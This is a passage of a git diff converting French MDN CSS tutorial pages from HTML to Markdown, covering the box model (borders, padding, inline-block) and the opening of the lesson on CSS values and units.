ci-dessous, nous avons utilisé différentes propriétés, qu'elles soient des raccourcis ou bien les propriétés précises, pour créer une bordure. Amusez-vous à modifier les valeurs de ces différentes propriétés pour vérifier que vous comprenez bien comment elles s'organisent. Les pages MDN pour les propriétés des bordures (données ci-dessus) documentent les différents styles que vous pouvez appliquer à vos pages. N'hésitez pas à les consulter.** -<ul> - <li><a href="/fr/docs/Web/CSS/border-top-width"><code>border-top-width</code></a></li> - <li><a href="/fr/docs/Web/CSS/border-top-style"><code>border-top-style</code></a></li> - <li><a href="/fr/docs/Web/CSS/border-top-color"><code>border-top-color</code></a></li> - <li><a href="/fr/docs/Web/CSS/border-right-width"><code>border-right-width</code></a></li> - <li><a href="/fr/docs/Web/CSS/border-right-style"><code>border-right-style</code></a></li> - <li><a href="/fr/docs/Web/CSS/border-right-color"><code>border-right-color</code></a></li> - <li><a href="/fr/docs/Web/CSS/border-bottom-width"><code>border-bottom-width</code></a></li> - <li><a href="/fr/docs/Web/CSS/border-bottom-style"><code>border-bottom-style</code></a></li> - <li><a href="/fr/docs/Web/CSS/border-bottom-color"><code>border-bottom-color</code></a></li> - <li><a href="/fr/docs/Web/CSS/border-left-width"><code>border-left-width</code></a></li> - <li><a href="/fr/docs/Web/CSS/border-left-style"><code>border-left-style</code></a></li> - <li><a href="/fr/docs/Web/CSS/border-left-color"><code>border-left-color</code></a></li> -</ul> +{{EmbedGHLiveSample("css-examples/learn/box-model/border.html", '100%', 700)}} -<p><strong>Dans l'exemple ci-dessous, nous avons utilisé différentes propriétés, qu'elles soient des raccourcis ou bien les propriétés précises, pour créer une bordure. Amusez-vous à modifier les valeurs de ces différentes propriétés pour vérifier que vous comprenez bien comment elles s'organisent. Les pages MDN pour les propriétés des bordures (données ci-dessus) documentent les différents styles que vous pouvez appliquer à vos pages. N'hésitez pas à les consulter.</strong></p> +### Le padding (remplissage) -<p>{{EmbedGHLiveSample("css-examples/learn/box-model/border.html", '100%', 700)}}</p> +Le <i lang="en">padding</i> (ou remplissage) se situe entre la bordure et le contenu. Contrairement aux marges, on ne peut attribuer une valeur numérique négative à un <i lang="en">padding</i>, la valeur ne peut être que 0 ou bien une valeur positive. Si vous avez défini un arrière-plan à votre élément, celui-ci continuera de s'afficher dans la <i lang="en">padding</i>, et c'est pourquoi cette propriété est souvent utilisée pour repousser le contenu de la bordure. -<h3 id="padding">Le padding (remplissage)</h3> +On peut une fois de plus configurer le <i lang="en">padding</i> pour tous les côtés à la fois à l'aide de la propriété [`padding`](/fr/docs/Web/CSS/padding), ou bien chaque côté indépendament des autres en utilisant les variantes plus précises suivantes : -<p>Le <i lang="en">padding</i> (ou remplissage) se situe entre la bordure et le contenu. Contrairement aux marges, on ne peut attribuer une valeur numérique négative à un <i lang="en">padding</i>, la valeur ne peut être que 0 ou bien une valeur positive. Si vous avez défini un arrière-plan à votre élément, celui-ci continuera de s'afficher dans la <i lang="en">padding</i>, et c'est pourquoi cette propriété est souvent utilisée pour repousser le contenu de la bordure.</p> +- [`padding-top`](/fr/docs/Web/CSS/padding-top) +- [`padding-right`](/fr/docs/Web/CSS/padding-right) +- [`padding-bottom`](/fr/docs/Web/CSS/padding-bottom) +- [`padding-left`](/fr/docs/Web/CSS/padding-left) -<p>On peut une fois de plus configurer le <i lang="en">padding</i> pour tous les côtés à la fois à l'aide de la propriété <a href="/fr/docs/Web/CSS/padding"><code>padding</code></a>, ou bien chaque côté indépendament des autres en utilisant les variantes plus précises suivantes :</p> +**Si vous modifiez les valeurs du <i lang="en">padding</i> sur la classe `.box` de l'exemple ci-dessous, vous pouvez observer comment l'emplacement du texte est impacté par les marges intérieures.** -<ul> - <li><a href="/fr/docs/Web/CSS/padding-top"><code>padding-top</code></a></li> - <li><a href="/fr/docs/Web/CSS/padding-right"><code>padding-right</code></a></li> - <li><a href="/fr/docs/Web/CSS/padding-bottom"><code>padding-bottom</code></a></li> - <li><a href="/fr/docs/Web/CSS/padding-left"><code>padding-left</code></a></li> -</ul> +**Tentez aussi de modifier la valeur du <i lang="en">padding</i> dans la classe `.container`, cela aura pour effet d'espacer le conteneur et la boîte. Le <i lang="en">padding</i> peut être modifié sur tout élément pour permettre d'espacer le contenu de la bordure.** -<p><strong>Si vous modifiez les valeurs du <i lang="en">padding</i> sur la classe <code>.box</code> de l'exemple ci-dessous, vous pouvez observer comment l'emplacement du texte est impacté par les marges intérieures.</strong></p> +{{EmbedGHLiveSample("css-examples/learn/box-model/padding.html", '100%', 600)}} -<p><strong>Tentez aussi de modifier la valeur du <i lang="en">padding</i> dans la classe <code>.container</code>, cela aura pour effet d'espacer le conteneur et la boîte. Le <i lang="en">padding</i> peut être modifié sur tout élément pour permettre d'espacer le contenu de la bordure.</strong></p> +## Le modèle de boîte et la disposition en ligne -<p>{{EmbedGHLiveSample("css-examples/learn/box-model/padding.html", '100%', 600)}}</p> +Toutes les règles énoncées plus haut s'appliquent totalement aux boîtes positionnées en bloc. Mais qu'en est-il des boîtes positionnées en ligne, comme l'élément `<span>` par exemple ? -<h2 id="the_box_model_and_inline_boxes">Le modèle de boîte et la disposition en ligne</h2> +Dans l'exemple ci-après, nous avons un élément `<span>` inclus dans un paragraphe auquel on a défini les propriétés `width`, `height`, `margin`, `border` et `padding`. Vous pouvez alors observer que les paramètres `width` et `height` sont totalement ignorés. Les propriétés de `margin`, `padding` et `border` sont quant à elles appliquées, mais n'ont pas modifié l'espacement avec les autres éléments de la page, se superposant ainsi avec les mots environnants dans le paragraphe. -<p>Toutes les règles énoncées plus haut s'appliquent totalement aux boîtes positionnées en bloc. Mais qu'en est-il des boîtes positionnées en ligne, comme l'élément <code><span></code> par exemple ?</p> +{{EmbedGHLiveSample("css-examples/learn/box-model/inline-box-model.html", '100%', 600)}} -<p>Dans l'exemple ci-après, nous avons un élément <code><span></code> inclus dans un paragraphe auquel on a défini les propriétés <code>width</code>, <code>height</code>, <code>margin</code>, <code>border</code> et <code>padding</code>. Vous pouvez alors observer que les paramètres <code>width</code> et <code>height</code> sont totalement ignorés. Les propriétés de <code>margin</code>, <code>padding</code> et <code>border</code> sont quant à elles appliquées, mais n'ont pas modifié l'espacement avec les autres éléments de la page, se superposant ainsi avec les mots environnants dans le paragraphe.</p> +## le positionnement display: inline-block -<p>{{EmbedGHLiveSample("css-examples/learn/box-model/inline-box-model.html", '100%', 600)}}</p> +Il existe une valeur spéciale pour la propriété `display`, qui constitue un compromis entre la disposition en ligne et la disposition en bloc, une sorte d'entre-deux qui combine ces deux dispositions. Cet état peut-être utile dans les situations où l'on désire utiliser les propriétés `width` et `height`, et éviter les superpositions (voir l'exemple précédent), tout en conservant la disposition dans une même ligne (i.e. sans créer de nouvelle ligne, comme le ferait une disposition en bloc). -<h2 id="using_display_inline-block">le positionnement display: inline-block</h2> +C'est la solution apportée par la disposition `display: inline-block;` qui emprunte des règles des deux dispositions pour satisfaire ces motivations : -<p>Il existe une valeur spéciale pour la propriété <code>display</code>, qui constitue un compromis entre la disposition en ligne et la disposition en bloc, une sorte d'entre-deux qui combine ces deux dispositions. Cet état peut-être utile dans les situations où l'on désire utiliser les propriétés <code>width</code> et <code>height</code>, et éviter les superpositions (voir l'exemple précédent), tout en conservant la disposition dans une même ligne (i.e. sans créer de nouvelle ligne, comme le ferait une disposition en bloc).</p> +- La hauteur (`height`) et la largeur (`width`) seront appliqués sur l'élément (et non ignorés). +- Les propriétés `padding`, `margin` et `border` repousseront bien les éléments alentours. -<p>C'est la solution apportée par la disposition <code>display: inline-block;</code> qui emprunte des règles des deux dispositions pour satisfaire ces motivations :</p> +Cette disposition suit alors ces règles, tout en conservant un positionnement sur la même ligne, sans retour à la ligne, ni affichage sur sa propre nouvelle ligne. L'élément peut même devenir plus grand que son conteneur si les propriétés `width` et `height` le définissent ainsi. -<ul> - <li>La hauteur (<code>height</code>) et la largeur (<code>width</code>) seront appliqués sur l'élément (et non ignorés).</li> - <li>Les propriétés <code>padding</code>, <code>margin</code> et <code>border</code> repousseront bien les éléments alentours.</li> -</ul> +**Dans cet exemple, nous avons ajouté la propriété `display: inline-block;` à notre élément `<span>`. Changez donc la valeur en `display: block;` ou bien tentez même de supprimer cette ligne pour observer l'utilité de cette nouvelle disposition.** -<p>Cette disposition suit alors ces règles, tout en conservant un positionnement sur la même ligne, sans retour à la ligne, ni affichage sur sa propre nouvelle ligne. L'élément peut même devenir plus grand que son conteneur si les propriétés <code>width</code> et <code>height</code> le définissent ainsi.</p> +{{EmbedGHLiveSample("css-examples/learn/box-model/inline-block.html", '100%', 700)}} -<p><strong>Dans cet exemple, nous avons ajouté la propriété <code>display: inline-block;</code> à notre élément <code><span></code>. Changez donc la valeur en <code>display: block;</code> ou bien tentez même de supprimer cette ligne pour observer l'utilité de cette nouvelle disposition.</strong></p> +Ceci peut-être très utile dans certains cas comme lorsque l'on veut élargir la zone cliquable d'un lien en aggrandissant le `padding`. l'élément `<a>` est par défaut "en ligne", comme un `<span>`, mais vous pouvez alors utiliser `display: inline-block;` pour permettre au <i lang="en">padding</i> d'être ajouté correctement sur la page, améliorant l'accessibilité du lien pour l'utilisateur. -<p>{{EmbedGHLiveSample("css-examples/learn/box-model/inline-block.html", '100%', 700)}}</p> +Vous pouvez rencontrer cette astuce sur bon nombre de menus de navigation dans les sites web. Par exemple, la barre de navigation ci-dessous est affichée en une seule ligne en utilisant la disposition flexbox et nous avons ajouté un <i lang="en">padding</i> aux liens `<a>` pour pouvoir modifier la couleur de fond (`background-color`) au survol du curseur. Le <i lang="en">padding</i> semble se superposer sur la bordure de l'élément `<ul>`. Ceci est dû au fait que `<a>` est un élément en ligne. -<p>Ceci peut-être très utile dans certains cas comme lorsque l'on veut élargir la zone cliquable d'un lien en aggrandissant le <code>padding</code>. l'élément <code><a></code> est par défaut "en ligne", comme un <code><span></code>, mais vous pouvez alors utiliser <code>display: inline-block;</code> pour permettre au <i lang="en">padding</i> d'être ajouté correctement sur la page, améliorant l'accessibilité du lien pour l'utilisateur.</p> +**Ajoutez la propriété `display: inline-block;` en utilisant le sélecteur `.links-list a` pour voir le respect du <i lang="en">padding</i> régler ce problème.** -<p>Vous pouvez rencontrer cette astuce sur bon nombre de menus de navigation dans les sites web. Par exemple, la barre de navigation ci-dessous est affichée en une seule ligne en utilisant la disposition flexbox et nous avons ajouté un <i lang="en">padding</i> aux liens <code><a></code> pour pouvoir modifier la couleur de fond (<code>background-color</code>) au survol du curseur. Le <i lang="en">padding</i> semble se superposer sur la bordure de l'élément <code><ul></code>. Ceci est dû au fait que <code><a></code> est un élément en ligne.</p> +{{EmbedGHLiveSample("css-examples/learn/box-model/inline-block-nav.html", '100%', 600)}} -<p><strong>Ajoutez la propriété <code>display: inline-block;</code> en utilisant le sélecteur <code>.links-list a</code> pour voir le respect du <i lang="en">padding</i> régler ce problème.</strong></p> +## Résumé -<p>{{EmbedGHLiveSample("css-examples/learn/box-model/inline-block-nav.html", '100%', 600)}}</p> +À présent vous connaissez tout ce dont vous avez besoin pour comprendre le modèle des boîtes en CSS. N'hésitez pas à revenir jetter un coup d'oeil à ce cours si vous rencontrez encore des problèmes de mise en page : beaucoup de solutions se trouvent ici ! -<h2 id="summary">Résumé</h2> +Dans la leçon suivante, ce sont les arrières-plans et les bordures qui capteront notre attention, afin de rendre votre mise en page plus attrayante. -<p>À présent vous connaissez tout ce dont vous avez besoin pour comprendre le modèle des boîtes en CSS. N'hésitez pas à revenir jetter un coup d'oeil à ce cours si vous rencontrez encore des problèmes de mise en page : beaucoup de solutions se trouvent ici !</p> +{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks")}} -<p>Dans la leçon suivante, ce sont les arrières-plans et les bordures qui capteront notre attention, afin de rendre votre mise en page plus attrayante.</p> +## Dans ce module -<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks")}}</p> +1. [Cascade et héritage](/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance) +2. [Sélecteurs CSS](/fr/docs/Learn/CSS/Building_blocks/Selectors) -<h2 id="in_this_module">Dans ce module</h2> + - [Sélecteurs de classe, de type et d'identifiant](/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors) + - [Sélecteurs d'attribut](/fr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors) + - [Pseudo-classes et pseudo-éléments](/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements) + - [Combinateurs](/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators) -<ol> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Cascade et héritage</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors">Sélecteurs CSS</a> - <ul> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Sélecteurs de classe, de type et d'identifiant</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Sélecteurs d'attribut</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Pseudo-classes et pseudo-éléments</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Combinateurs</a></li> - </ul> - </li> - <li>Le modèle de boîte</li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Arrières-plans et bordures</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Gérer la directionnalité du texte</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Overflowing_content">Le dépassement du contenu</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Values_and_units">Valeurs et unités</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Dimensionnement des objets en CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Images, médias, et formulaires</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Styling_tables">Mettre en forme les tableaux</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Debugging_CSS">Déboguer CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Organizing">Organiser son code CSS</a></li> - </ol> +3. Le modèle de boîte +4. [Arrières-plans et bordures](/fr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders) +5. [Gérer la directionnalité du texte](/fr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions) +6. [Le dépassement du contenu](/fr/docs/Learn/CSS/Building_blocks/Overflowing_content) +7. [Valeurs et unités](/fr/docs/Learn/CSS/Building_blocks/Values_and_units) +8. [Dimensionnement des objets en CSS](/fr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS) +9. [Images, médias, et formulaires](/fr/docs/Learn/CSS/Building_blocks/Images_media_form_elements) +10. [Mettre en forme les tableaux](/fr/docs/Learn/CSS/Building_blocks/Styling_tables) +11. [Déboguer CSS](/fr/docs/Learn/CSS/Building_blocks/Debugging_CSS) +12. [Organiser son code CSS](/fr/docs/Learn/CSS/Building_blocks/Organizing) diff --git a/files/fr/learn/css/building_blocks/values_and_units/index.md b/files/fr/learn/css/building_blocks/values_and_units/index.md index 7542b9e2e5..a803e5340c 100644 --- a/files/fr/learn/css/building_blocks/values_and_units/index.md +++ b/files/fr/learn/css/building_blocks/values_and_units/index.md @@ -4,391 +4,299 @@ slug: Learn/CSS/Building_blocks/Values_and_units translation_of: Learn/CSS/Building_blocks/Values_and_units original_slug: Apprendre/CSS/Building_blocks/Values_and_units --- -<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks")}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks")}} -<p>Chaque propriété utilisée en CSS possède un type de valeur qui définit l'ensemble des valeurs autorisées pour cette propriété. Visiter des pages de propriétés sur MDN vous aidera à comprendre les valeurs associées à un type de valeur, qui sont valides pour une propriété particulière. Dans cette leçon, nous allons observer quelques-uns des types de valeur les plus fréquemment utilisés, ainsi que leurs valeurs et unités les plus communes.</p> +Chaque propriété utilisée en CSS possède un type de valeur qui définit l'ensemble des valeurs autorisées pour cette propriété. Visiter des pages de propriétés sur MDN vous aidera à comprendre les valeurs associées à un type de valeur, qui sont valides pour une propriété particulière. Dans cette leçon, nous allons observer quelques-uns des types de valeur les plus fréquemment utilisés, ainsi que leurs valeurs et unités les plus communes. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Maîtrise élémentaire de l'informatique, <a href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software">suite logicielle de base installée</a>, compétences élémentaires pour <a href="/fr/docs/Apprendre/Commencer_avec_le_web/G%C3%A9rer_les_fichiers">travailler avec des fichiers</a>, connaissance de base du HTML (cf. <a href="/fr/docs/Apprendre/HTML/Introduction_%C3%A0_HTML">Introduction à HTML</a>), et une idée de <a href="/fr/docs/Learn/CSS/First_steps/How_CSS_works">Comment fonctionne CSS</a>.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Apprendre les différents types de valeurs et d'unités utilisés dans les propriétés CSS.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Maîtrise élémentaire de l'informatique, + <a + href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software" + >suite logicielle de base installée</a + >, compétences élémentaires pour + <a + href="/fr/docs/Apprendre/Commencer_avec_le_web/G%C3%A9rer_les_fichiers" + >travailler avec des fichiers</a + >, connaissance de base du HTML (cf. + <a href="/fr/docs/Apprendre/HTML/Introduction_%C3%A0_HTML" + >Introduction à HTML</a + >), et une idée de + <a href="/fr/docs/Learn/CSS/First_steps/How_CSS_works" + >Comment fonctionne CSS</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Apprendre les différents types de valeurs et d'unités utilisés dans les + propriétés CSS. + </td> + </tr> + </tbody> </table> -<h2 id="Quest-ce_quune_valeur_CSS">Qu'est-ce qu'une valeur CSS ?</h2> +## Qu'est-ce qu'une valeur CSS ? -<p>Dans les spécifications CSS et sur les pages de propriétés présentes sur MDN, vous pourrez identifier les types de valeurs, car ils sont entourés par des chevrons, tel que <code><a href="/fr/docs/Web/CSS/color_value"><color></a></code> ou <code><a href="/fr/docs/Web/CSS/length"><length></a></code>. Quand vous voyez le type de valeur <code><color></code>, valide pour une propriété particulière, cela signifie que vous pouvez utiliser n'importe quelle couleur valide comme valeur pour cette propriété, comme énoncé dans la page de référence de <code><a href="/fr/docs/Web/CSS/color_value"><color></a></code>.</p> +Dans les spécifications CSS et sur les pages de propriétés présentes sur MDN, vous pourrez identifier les types de valeurs, car ils sont entourés par des chevrons, tel que [`<color>`](/fr/docs/Web/CSS/color_value) ou [`<length>`](/fr/docs/Web/CSS/length). Quand vous voyez le type de valeur `<color>`, valide pour une propriété particulière, cela signifie que vous pouvez utiliser n'importe quelle couleur valide comme valeur pour cette propriété, comme énoncé dans la page de référence de [`<color>`](/fr/docs/Web/CSS/color_value). -<div class="note"> -<p><strong>Note :</strong> Vous verrez également des valeurs CSS appelées <em>types de données</em>. Les termes sont interchangeables — Quand vous voyez quelque chose en CSS identifié comme type de données, c'est juste une façon différente de dire type de valeur. Le terme <em>valeur</em> se rapporte à n'importe quelle expression particulière supportée par un type de valeur que vous avez choisi d'utiliser.</p> -</div> +> **Note :** Vous verrez également des valeurs CSS appelées _types de données_. Les termes sont interchangeables — Quand vous voyez quelque chose en CSS identifié comme type de données, c'est juste une façon différente de dire type de valeur. Le terme _valeur_ se rapporte à n'importe quelle expression particulière supportée par un type de valeur que vous avez choisi d'utiliser. -<div class="note"> -<p><strong>Note :</strong> Oui, les types de valeurs CSS tendent à être indiqués par des chevrons, pour les différencier des propriétés CSS (ex : la propriété <a href="/fr/docs/Web/CSS/color"><code>color</code></a>, comparée au type de données <a href="/fr/docs/Web/CSS/color_value"><color></a>). Vous pourriez aussi être désorienté entre les types de données CSS et les éléments HTML, car ils utilisent tous deux les chevrons, mais c'est peu probable — ils sont utilisés dans des contextes très différents.</p> -</div> +> **Note :** Oui, les types de valeurs CSS tendent à être indiqués par des chevrons, pour les différencier des propriétés CSS (ex : la propriété [`color`](/fr/docs/Web/CSS/color), comparée au type de données [\<color>](/fr/docs/Web/CSS/color_value)). Vous pourriez aussi être désorienté entre les types de données CSS et les éléments HTML, car ils utilisent tous deux les chevrons, mais c'est peu probable — ils sont utilisés dans des contextes très différents. -<p>Dans l'exemple suivant, nous avons défini la couleur de notre titre en utilisant un mot-clé, et la couleur de fond en utilisant la fonction <code>rgb()</code> :</p> +Dans l'exemple suivant, nous avons défini la couleur de notre titre en utilisant un mot-clé, et la couleur de fond en utilisant la fonction `rgb()` : -<pre class="brush: css ">h1 { +```css +h1 { color: black; background-color: rgb(197,93,161); -} -</pre> +} +``` -<p>Un type de valeur en CSS est une manière de définir un ensemble de valeurs autorisées. Cela signifie que si vous voyez <code><color></code> comme valide, vous n'avez pas besoin de vous demander quel type de valeur vous pouvez utiliser — mot-clés, valeurs hex, fonctions <code>rgb()</code>, etc. Vous pouvez utiliser <em>n'importe quelle</em> valeur <code><color></code> disponible, en supposant qu'elle soit supportée par votre navigateur. La page MDN pour chaque valeur vous donnera les informations au sujet du support par le navigateur. Par exemple, si vous regardez la page <code><a href="/fr/docs/Web/CSS/color_value"><color></a></code>, vous verrez que la section sur la compatibilité des navigateurs liste différents types de valeurs pour "color" et le support.</p> +Un type de valeur en CSS est une manière de définir un ensemble de valeurs autorisées. Cela signifie que si vous voyez `<color>` comme valide, vous n'avez pas besoin de vous demander quel type de valeur vous pouvez utiliser — mot-clés, valeurs hex, fonctions `rgb()`, etc. Vous pouvez utiliser _n'importe quelle_ valeur `<color>` disponible, en supposant qu'elle soit supportée par votre navigateur. La page MDN pour chaque valeur vous donnera les informations au sujet du support par le navigateur. Par exemple, si vous regardez la page [`<color>`](/fr/docs/Web/CSS/color_value), vous verrez que la section sur la compatibilité des navigateurs liste différents types de valeurs pour "color" et le support. -<p>Observons quelques-uns des types de valeurs et d'unités que vous pouvez fréquemment rencontrer, avec des exemples, pour que vous puissiez essayer différentes valeurs possibles.</p> +Observons quelques-uns des types de valeurs et d'unités que vous pouvez fréquemment rencontrer, avec des exemples, pour que vous puissiez essayer différentes valeurs possibles. +## Nombres, longueurs et pourcentages -<h2 id="numbers_lengths_and_percentages">Nombres, longueurs et pourcentages</h2> +Il existe plusieurs types de valeur numérique que vous pourrez utiliser en CSS. Les types qui suivent sont classés comme numériques : -<p>Il existe plusieurs types de valeur numérique que vous pourrez utiliser en CSS. Les types qui suivent sont classés comme numériques :</p> +| Type de donnée | Description | +| --------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| [`<integer>`](/fr/docs/Web/CSS/integer) | Une valeur de type `<integer>` est un nombre entier comme `1024` ou `-55`. | +| [`<number>`](/fr/docs/Web/CSS/number) | Une valeur de type `<number>` représente un nombre décimal (qui peut avoir ou ne pas avoir de partie décimale). Par exemple : `0.255`, `128`, ou `-1.2`. | +| [`<dimension>`](/fr/docs/Web/CSS/dimension) | Une valeur de type `<dimension>` est une valeur de type `<number>` à laquelle est attachée une unité. Par exemple : `45deg`, `5s`, ou `10px`. `<dimension>` est une catégorie de type qui inclut les types [`<length>`](/fr/docs/Web/CSS/length), [`<angle>`](/fr/docs/Web/CSS/angle), [`<time>`](/fr/docs/Web/CSS/time), et [`<resolution>`](/fr/docs/Web/CSS/resolution). | +| [`<percentage>`](/fr/docs/Web/CSS/percentage) | Une valeur de type `<percentage>` représente une fraction relative à une autre valeur. Par exemple : `50%`. Les valeurs de pourcentages sont toujours relatives à une autre quantité. Ainsi, la longueur d'un élément pourra être relative à la longueur de son élément parent. | -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Type de donnée</th> - <th scope="col">Description</th> - </tr> - </thead> - <tbody> - <tr> - <td><code><a href="/fr/docs/Web/CSS/integer"><integer></a></code></td> - <td>Une valeur de type <code><integer></code> est un nombre entier comme <code>1024</code> ou <code>-55</code>.</td> - </tr> - <tr> - <td><code><a href="/fr/docs/Web/CSS/number"><number></a></code></td> - <td>Une valeur de type <code><number></code> représente un nombre décimal (qui peut avoir ou ne pas avoir de partie décimale). Par exemple : <code>0.255</code>, <code>128</code>, ou <code>-1.2</code>.</td> - </tr> - <tr> - <td><code><a href="/fr/docs/Web/CSS/dimension"><dimension></a></code></td> - <td>Une valeur de type <code><dimension></code> est une valeur de type <code><number></code> à laquelle est attachée une unité. Par exemple : <code>45deg</code>, <code>5s</code>, ou <code>10px</code>. <code><dimension></code> est une catégorie de type qui inclut les types <code><a href="/fr/docs/Web/CSS/length"><length></a></code>, <code><a href="/fr/docs/Web/CSS/angle"><angle></a></code>, <code><a href="/fr/docs/Web/CSS/time"><time></a></code>, et <code><a href="/fr/docs/Web/CSS/resolution"><resolution></a></code>.</td> - </tr> - <tr> - <td><code><a href="/fr/docs/Web/CSS/percentage"><percentage></a></code></td> - <td>Une valeur de type <code><percentage></code> représente une fraction relative à une autre valeur. Par exemple : <code>50%</code>. Les valeurs de pourcentages sont toujours relatives à une autre quantité. Ainsi, la longueur d'un élément pourra être relative à la longueur de son élément parent.</td> - </tr> - </tbody> -</table> +### Longueurs -<h3 id="lengths">Longueurs</h3> +Le type numérique que vous rencontrerez le plus souvent est le type `<length>`. Par exemple : `10px` (pixels) ou `30em`. Il existe deux types de longueurs en CSS : les longueurs relatives et les longueurs absolues. Connaître la différence entre les deux est important pour comprendre la taille que les éléments obtiendront. -<p>Le type numérique que vous rencontrerez le plus souvent est le type <code><length></code>. Par exemple : <code>10px</code> (pixels) ou <code>30em</code>. Il existe deux types de longueurs en CSS : les longueurs relatives et les longueurs absolues. Connaître la différence entre les deux est important pour comprendre la taille que les éléments obtiendront.</p> +#### Unités de longueur absolue -<h4 id="absolute_length_units">Unités de longueur absolue</h4> +La liste qui suit contient uniquement des unités de longueur **absolue**. Ces quantités ne sont pas relatives à quoi que ce soit d'autre et leur taille sera considérée comme constante. -<p>La liste qui suit contient uniquement des unités de longueur <strong>absolue</strong>. Ces quantités ne sont pas relatives à quoi que ce soit d'autre et leur taille sera considérée comme constante.</p> +| Unité | Nom | Équivalent à | +| ----- | -------------------------------- | -------------------- | +| `cm` | Centimètres | 1cm = 38px = 25/64in | +| `mm` | Millimètres | 1mm = 1/10th of 1cm | +| `Q` | Quarts de millimètre | 1Q = 1/40th of 1cm | +| `in` | Pouces (<i lang="en">inches</i>) | 1in = 2.54cm = 96px | +| `pc` | Picas | 1pc = 1/6e de 1in | +| `pt` | Points | 1pt = 1/72e de 1in | +| `px` | Pixels | 1px = 1/96th de 1in | -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Unité</th> - <th scope="col">Nom</th> - <th scope="col">Équivalent à</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>cm</code></td> - <td>Centimètres</td> - <td>1cm = 38px = 25/64in</td> - </tr> - <tr> - <td><code>mm</code></td> - <td>Millimètres</td> - <td>1mm = 1/10th of 1cm</td> - </tr> - <tr> - <td><code>Q</code></td> - <td>Quarts de millimètre</td> - <td>1Q = 1/40th of 1cm</td> - </tr> - <tr> - <td><code>in</code></td> - <td>Pouces (<i lang="en">inches</i>)</td> - <td>1in = 2.54cm = 96px</td> - </tr> - <tr> - <td><code>pc</code></td> - <td>Picas</td> - <td>1pc = 1/6e de 1in</td> - </tr> - <tr> - <td><code>pt</code></td> - <td>Points</td> - <td>1pt = 1/72e de 1in</td> - </tr> - <tr> - <td><code>px</code></td> - <td>Pixels</td> - <td>1px = 1/96th de 1in</td> - </tr> - </tbody> -</table> +La plupart de ces unités sont utiles pour l'impression plutôt que pour l'affichage sur un écran. Ainsi, on n'utilise généralement pas `cm` (centimètres) sur un écran. La seule unité ici que vous rencontrerez fréquemment est `px` (pixels). -<p>La plupart de ces unités sont utiles pour l'impression plutôt que pour l'affichage sur un écran. Ainsi, on n'utilise généralement pas <code>cm</code> (centimètres) sur un écran. La seule unité ici que vous rencontrerez fréquemment est <code>px</code> (pixels).</p> +#### Unités de longueur relative -<h4 id="relative_length_units">Unités de longueur relative</h4> +Les unités de longueur relative permettent d'exprimer des quantités relatives à quelque chose d'autre comme la taille de la police de l'élément parent ou la taille de la zone d'affichage (<i lang="en">viewport</i>). L'avantage d'utiliser des unités relatives est qu'avec un peu d'organisation, on peut faire que la taille du texte ou d'autres éléments se mette à l'échelle, relativement à quelque chose d'autre sur la page. La plupart des unités les plus utiles pour le développement web sont présentes dans le tableau qui suit. -<p>Les unités de longueur relative permettent d'exprimer des quantités relatives à quelque chose d'autre comme la taille de la police de l'élément parent ou la taille de la zone d'affichage (<i lang="en">viewport</i>). L'avantage d'utiliser des unités relatives est qu'avec un peu d'organisation, on peut faire que la taille du texte ou d'autres éléments se mette à l'échelle, relativement à quelque chose d'autre sur la page. La plupart des unités les plus utiles pour le développement web sont présentes dans le tableau qui suit.</p> +| Unité | Relative à | +| ------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `em` | Pour les propriétés typographiques comme [`font-size`](/fr/docs/Web/CSS/font-size), relative à la taille de la police de l'élément parent. Pour les autres propriétés comme 